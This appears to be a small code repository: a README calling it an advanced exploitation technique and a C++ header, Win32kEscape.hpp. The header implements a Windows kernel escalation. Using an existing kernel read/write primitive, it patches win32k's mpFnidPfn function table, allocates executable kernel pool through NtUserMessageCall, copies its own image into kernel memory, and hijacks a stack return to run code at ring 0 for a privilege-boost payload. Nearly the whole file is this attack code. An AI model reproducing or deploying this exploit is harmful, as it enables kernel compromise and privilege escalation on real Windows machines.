├── README.md └── Win32kEscape.hpp /README.md: -------------------------------------------------------------------------------- 1 | # win32kescape - advance exploitation technique 2 | 3 | all details at http://www.k33nteam.org/blog.htm [ NUTSHELL OF KERNEL SECURITY : CRACKS BY DESIGN ? ] 4 | -------------------------------------------------------------------------------- /Win32kEscape.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../usr_common.h" 4 | #include "../undoc/OS.h" 5 | #include "../undoc/win32k.h" 6 | #include "../undoc/ntoskrnl.h" 7 | #include "../user/Window.hpp" 8 | 9 | extern "C" 10 | void* 11 | NtUserMessageCall( 12 | HWND hwnd,//window handle 13 | size_t fnSelector,//have to be bigger than 0x400 14 | size_t, 15 | size_t, 16 | size_t, 17 | size_t fnId//index-6 of function from MpFnidPfn table 18 | ); 19 | 20 | class CWin32kEscape 21 | { 22 | #define UNUSED_IND 7 23 | 24 | #define EX_ALLOCATE_POOL (1) 25 | #define PS_GET_PROCESS_IMAGE_FILE_NAME (2) 26 | #define PS_GET_CURRENT_THREAD_STACK_BASE (3) 27 | #define ACE PS_GET_CURRENT_THREAD_STACK_BASE 28 | 29 | #define RELLOCATE(addr, base, target) (void*)(((size_t)(addr) - (size_t)(base)) + (size_t)(target)) 30 | 31 | using wlist = boost::intrusive::list; 32 | 33 | static const size_t DEFAULT_PARAM = 0x401; 34 | 35 | IKernelIo& m_io; 36 | _ntoskrnl* m_nt; 37 | _win32k* m_win32k; 38 | 39 | std::unique_ptr m_window; 40 | 41 | public: 42 | CWin32kEscape( 43 | __in IKernelIo& io, 44 | __in void* ntoskrnl, 45 | __in void* win32k = nullptr 46 | ) : m_io(io), 47 | m_nt(static_cast(ntoskrnl)), 48 | m_win32k(static_cast(win32k)), 49 | m_window(nullptr) 50 | { 51 | auto nt = static_cast<_ntoskrnl*>(const_cast(ntoskrnl)); 52 | if (!nt) 53 | return; 54 | 55 | if (m_win32k) 56 | return; 57 | 58 | CModuleWalker mwalker(m_io, nt->PsLoadedModuleList()); 59 | if (!mwalker.WalkToModule(L"win32k.sys")) 60 | return; 61 | 62 | m_win32k = static_cast(mwalker->ModuleBaseAddress); 63 | } 64 | 65 | __checkReturn 66 | bool 67 | NtUserMessageCallEscape( 68 | __in extinterface::CORE_PAYLOAD payloadId 69 | ) 70 | { 71 | if (!m_win32k) 72 | return false; 73 | 74 | if (!PatchMpFnidPfn()) 75 | return false; 76 | 77 | auto pwn_img = TeleportToKernel(); 78 | if (!pwn_img) 79 | return false; 80 | 81 | extinterface::PACKET packet; 82 | InitPacket(packet); 83 | 84 | #ifdef CFG 85 | return DoCfgAwareEscape(pwn_img, packet); 86 | #else 87 | return DoEscape(pwn_img, packet); 88 | #endif 89 | } 90 | 91 | protected: 92 | __checkReturn 93 | bool 94 | PatchMpFnidPfn() 95 | { 96 | static const char* fcn[] = 97 | { 98 | "ExAllocatePoolWithTag", 99 | "PsGetProcessImageFileName", 100 | "PsGetCurrentThreadStackBase" 101 | }; 102 | 103 | CKernelImg nt_img(m_io, m_nt); 104 | if (!nt_img.UserBase()) 105 | return false; 106 | 107 | for (size_t i = 0; i < _countof(fcn); i++) 108 | { 109 | auto patch = RELLOCATE(nt_img.GetProcAddress(fcn[i]), nt_img.UserBase(), m_nt); 110 | if (!patch) 111 | return false; 112 | 113 | if (!m_io.Write(&m_win32k->mpFnidPfn()[UNUSED_IND + i], &patch, sizeof(patch))) 114 | return false; 115 | } 116 | return true; 117 | } 118 | 119 | __checkReturn 120 | const void* 121 | TeleportToKernel() 122 | { 123 | m_window.reset(GetRweWindowHandle()); 124 | if (!m_window.get()) 125 | return nullptr; 126 | 127 | CImage pwn_img(CDllModule::ModuleBase()); 128 | mem_t pwn_mem(malloc(pwn_img.SizeOfImage()), free); 129 | if (!pwn_mem.get()) 130 | return nullptr; 131 | 132 | auto rwe = ExAllocateRwePool(pwn_img.SizeOfImage()); 133 | if (!rwe) 134 | return nullptr; 135 | 136 | if (!pwn_img.Rellocate(pwn_mem.get(), rwe)) 137 | return nullptr; 138 | 139 | auto status = m_io.Write( 140 | rwe, 141 | pwn_mem.get(), 142 | pwn_img.SizeOfImage()); 143 | 144 | if (!status) 145 | return nullptr; 146 | 147 | return rwe; 148 | } 149 | 150 | __checkReturn 151 | CWindow* 152 | GetRweWindowHandle() 153 | { 154 | wlist w_list; 155 | CWindow* wnd = nullptr; 156 | 157 | for (size_t i = 0; i < 0xFFFF; i++) 158 | { 159 | wchar_t name[4]; 160 | for (size_t j = 0, val = i; j < _countof(name); j++, val /= 10) 161 | name[j] = '0' + ((val % 0x10) > 9 ? ('A' - '0' + (val % 10) - 9) : (val % 0x10)); 162 | 163 | wnd = new CWindow(name); 164 | if (!wnd) 165 | break; 166 | 167 | if (IsWindowHandleRweFlag(wnd->Hwnd())) 168 | return wnd; 169 | 170 | w_list.push_back(*wnd); 171 | } 172 | return nullptr; 173 | } 174 | 175 | void 176 | InitPacket( 177 | __inout extinterface::PACKET& packet 178 | ) 179 | { 180 | packet.PayloadId = extinterface::CORE_PAYLOAD::GeekPwn; 181 | packet.ToSystemBoostProcId = reinterpret_cast(GetCurrentProcessId()); 182 | //reinterpret_cast(CProcessInsider::GetProcessId(L"system")); 183 | 184 | memset(&packet.DriverName, 0, sizeof(packet.DriverName)); 185 | memcpy(&packet.DriverName, L"\\Device\\Null", sizeof(L"\\Device\\Null")); 186 | } 187 | 188 | __checkReturn 189 | bool 190 | DoCfgAwareEscape( 191 | __in const void* kernelImage, 192 | __inout extinterface::PACKET& packet 193 | ) 194 | { 195 | auto stack_base = GetCurrentThreadStackBase(); 196 | if (!stack_base) 197 | return false; 198 | 199 | auto stack_hook = KiSystemServiceCopyEndStackRet(stack_base, &packet.KiSystemServiceCopyEnd); 200 | if (!stack_hook) 201 | return false; 202 | 203 | if (!m_io.Write(static_cast(stack_base) - sizeof(packet), &packet, sizeof(packet))) 204 | return false; 205 | 206 | void* ace = RELLOCATE(StackEscape, CDllModule::ModuleBase(), kernelImage); 207 | 208 | //cpl0 exec : 209 | (void)m_io.Write(stack_hook, &ace, sizeof(ace)); 210 | 211 | return true; 212 | } 213 | 214 | void* 215 | KiSystemServiceCopyEndStackRet( 216 | __in void* stackBase, 217 | __inout void** kiSystemServiceCopyEnd 218 | ) 219 | { 220 | void** stack[0x100] = { 0 }; 221 | if (!m_io.Read(static_cast(stackBase) - sizeof(stack), stack, sizeof(stack))) 222 | return false; 223 | 224 | size_t KiSystemServiceCopyEnd = 0; 225 | for (size_t i = 0; !KiSystemServiceCopyEnd && i < _countof(stack); i++) 226 | if (os::g_sSystemSpace.IsInRange(stack[_countof(stack) - i - 1])) 227 | KiSystemServiceCopyEnd = _countof(stack) - i - 1; 228 | 229 | if (!KiSystemServiceCopyEnd) 230 | return nullptr; 231 | 232 | *kiSystemServiceCopyEnd = stack[KiSystemServiceCopyEnd]; 233 | return (static_cast(stackBase) - ((_countof(stack) - KiSystemServiceCopyEnd) * sizeof(void*))); 234 | } 235 | 236 | __checkReturn 237 | bool 238 | DoEscape( 239 | __in const void* kernelImage, 240 | __inout extinterface::PACKET& packet 241 | ) 242 | { 243 | auto stack_base = GetCurrentThreadStackBase(); 244 | if (!stack_base) 245 | return false; 246 | 247 | void* ace = RELLOCATE(SystemMain, CDllModule::ModuleBase(), kernelImage); 248 | if (!m_io.Write(&m_win32k->mpFnidPfn()[UNUSED_IND + ACE - 1], &ace, sizeof(ace))) 249 | return false; 250 | 251 | if (!m_io.Write(static_cast(stack_base) - sizeof(packet), &packet, sizeof(packet))) 252 | return false; 253 | 254 | //cpl0 exec : 255 | (void)NtUserMessageCall(m_window->Hwnd(), DEFAULT_PARAM, 0, 0, 0, ACE); 256 | return true; 257 | } 258 | 259 | private: 260 | __checkReturn 261 | void* 262 | GetCurrentThreadStackBase() 263 | { 264 | return NtUserMessageCall(m_window->Hwnd(), DEFAULT_PARAM, 0, 0, 0, PS_GET_CURRENT_THREAD_STACK_BASE); 265 | } 266 | 267 | __checkReturn 268 | bool 269 | IsWindowHandleRweFlag( 270 | __in HWND hwnd 271 | ) 272 | { 273 | size_t ret = reinterpret_cast(NtUserMessageCall(hwnd, DEFAULT_PARAM, 0, 0, 0, PS_GET_PROCESS_IMAGE_FILE_NAME)); 274 | if (0 == ((ret - os::GetImageFileNameOffset()) & (os::POOL_COLD_ALLOCATION | os::POOL_NX_ALLOCATION | 0xF))) 275 | return true; 276 | 277 | return false; 278 | } 279 | 280 | __checkReturn 281 | void* 282 | ExAllocateRwePool( 283 | __in size_t size 284 | ) 285 | { 286 | return NtUserMessageCall(m_window->Hwnd(), size, 0, 0, 0, EX_ALLOCATE_POOL); 287 | } 288 | }; 289 | --------------------------------------------------------------------------------